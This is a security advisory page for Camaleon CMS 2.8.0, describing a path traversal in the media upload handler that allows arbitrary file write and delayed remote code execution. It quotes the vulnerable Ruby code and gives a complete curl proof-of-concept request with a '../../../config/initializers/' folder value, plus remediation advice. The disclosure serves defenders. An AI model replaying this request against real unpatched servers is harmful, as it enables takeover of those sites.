GHSA-wmjg-vqhv-q5p5

Suggest an improvement
Source
https://github.com/advisories/GHSA-wmjg-vqhv-q5p5
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/09/GHSA-wmjg-vqhv-q5p5/GHSA-wmjg-vqhv-q5p5.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-wmjg-vqhv-q5p5
Aliases
Published
2024-09-18T14:39:03Z
Modified
2024-09-18T19:34:37.791645Z
Severity
  • 8.8 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
Camaleon CMS affected by arbitrary file write to RCE (GHSL-2024-182)
Details

An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application.

Once a user upload is started via the upload method, the file_upload and the folder parameter

def upload(settings = {})
  params[:dimension] = nil if params[:skip_auto_crop].present?
  f = { error: 'File not found.' }
  if params[:file_upload].present?
    f = upload_file(params[:file_upload],
                    { folder: params[:folder], dimension: params['dimension'], formats: params[:formats], versions: params[:versions],
                      thumb_size: params[:thumb_size] }.merge(settings))
  end
  [..]
end

are passed to the upload_file method. Inside that method the given settings are merged with some presets. The file format is checked against the formats settings we can override with the formats parameters.

# formats validations
  return { error: "#{ct('file_format_error')} (#{settings[:formats]})" } unless cama_uploader.class.validate_file_format(
    uploaded_io.path, settings[:formats]
 )

Our given folder is then passed unchecked to the Cama_uploader:

key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash
res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })

In the add_file method of CamaleonCmsLocalUploader this key argument containing the unchecked path is then used to write the file to the file system:

def add_file(uploaded_io_or_file_path, key, args = {})
  [..]
  upload_io = uploaded_io_or_file_path.is_a?(String) ? File.open(uploaded_io_or_file_path) : uploaded_io_or_file_path
  File.open(File.join(@root_folder, key), 'wb') { |file| file.write(upload_io.read) }
  [..]
end

Proof of concept Precondition: A valid account of a registered user is required. (The values for authtoken and _cmssession need to be replaced with authenticated values in the curl command below)

curl --path-as-is -i -s -k -X $'POST' \ -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: /' -H $'Connection: keep-alive' \ -b $'authtoken=[..]; _cmssession=[..]' \ --data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"fileupload\"; filename=\"test.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"folder\"\x0d\x0a\x0d\x0a../../../config/initializers/\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"skipauto_crop\"\x0d\x0a\x0d\x0atrue\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\x0d\x0a' \ $'https://<camaleon-host>/admin/media/upload?actions=false' Note that the upload form field formats was removed so that Camaleon CMS accepts any file. The folder was set to ../../../config/initializers/so that following Ruby script is written into the initializers folder of the Rails web app:

puts "=================================" puts "=================================" puts "= COMPROMISED =" puts "=================================" puts "=================================" Once Camaleon CMS is restarted following output will be visible in the log:

=================================

= COMPROMISED =

================================= Impact This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.

Remediation Normalize file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.

See also:

CodeQL: Uncontrolled data used in path expression OWASP: Path Traversal

References

Affected packages

RubyGems / camaleon_cms

Package

Name
camaleon_cms
Purl
pkg:gem/camaleon_cms

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.8.0
Fixed
2.8.1

Affected versions

2.*

2.8.0